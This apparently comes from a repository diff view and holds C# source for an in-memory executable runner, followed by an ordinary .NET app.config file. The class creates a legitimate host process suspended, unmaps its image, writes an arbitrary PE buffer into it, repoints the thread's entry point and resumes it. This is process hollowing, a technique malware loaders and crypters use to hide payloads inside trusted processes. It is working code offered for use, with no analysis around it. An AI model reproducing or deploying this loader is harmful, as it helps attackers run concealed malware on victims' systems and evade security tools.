|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static unsafe class cMemoryExecute
|
||||
{
|
||||
/// <summary>
|
||||
/// Runs an EXE (which is loaded in a byte array) in memory.
|
||||
/// </summary>
|
||||
/// <param name="exeBuffer">The EXE buffer.</param>
|
||||
/// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
|
||||
/// <param name="optionalArguments">Optional command line arguments.</param>
|
||||
/// <returns></returns>
|
||||
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments)
|
||||
{
|
||||
var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
|
||||
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
|
||||
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
|
||||
var PROCESS_INFO = new int[0x4]; // pi
|
||||
var CONTEXT = new byte[0x2cc]; // ctx
|
||||
|
||||
byte* pish;
|
||||
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
|
||||
pish = p;
|
||||
|
||||
byte* pinh;
|
||||
fixed (byte* p = &IMAGE_NT_HEADERS[0])
|
||||
pinh = p;
|
||||
|
||||
byte* pidh;
|
||||
fixed (byte* p = &IMAGE_DOS_HEADER[0])
|
||||
pidh = p;
|
||||
|
||||
byte* ctx;
|
||||
fixed (byte* p = &CONTEXT[0])
|
||||
ctx = p;
|
||||
|
||||
// Set the flag.
|
||||
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;
|
||||
|
||||
// Get the DOS header of the EXE.
|
||||
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);
|
||||
|
||||
/* Sanity check: See if we have MZ header. */
|
||||
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
|
||||
return false;
|
||||
|
||||
var e_lfanew = *(int*)(pidh + 0x3c);
|
||||
|
||||
// Get the NT header of the EXE.
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);
|
||||
|
||||
/* Sanity check: See if we have PE00 header. */
|
||||
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
|
||||
return false;
|
||||
|
||||
// Run with parameters if necessary.
|
||||
if (!string.IsNullOrEmpty(optionalArguments))
|
||||
hostProcess += " " + optionalArguments;
|
||||
|
||||
if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO))
|
||||
return false;
|
||||
|
||||
var ImageBase = new IntPtr(*(int*)(pinh + 0x34));
|
||||
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
|
||||
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
|
||||
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)
|
||||
|
||||
fixed (byte* p = &exeBuffer[0])
|
||||
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);
|
||||
|
||||
for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
|
||||
{
|
||||
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
|
||||
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
|
||||
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
|
||||
}
|
||||
|
||||
NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
|
||||
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
|
||||
*(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /* AddressOfEntryPoint */);
|
||||
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
|
||||
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
#region WinNT Definitions
|
||||
|
||||
private const uint CONTEXT_FULL = 0x10007;
|
||||
private const int CREATE_SUSPENDED = 0x4;
|
||||
private const int MEM_COMMIT = 0x1000;
|
||||
private const int MEM_RESERVE = 0x2000;
|
||||
private const int PAGE_EXECUTE_READWRITE = 0x40;
|
||||
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
|
||||
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
|
||||
|
||||
#region WinAPI
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0"?>
|
||||
<configuration>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
|
||||
Reference in New Issue
Block a user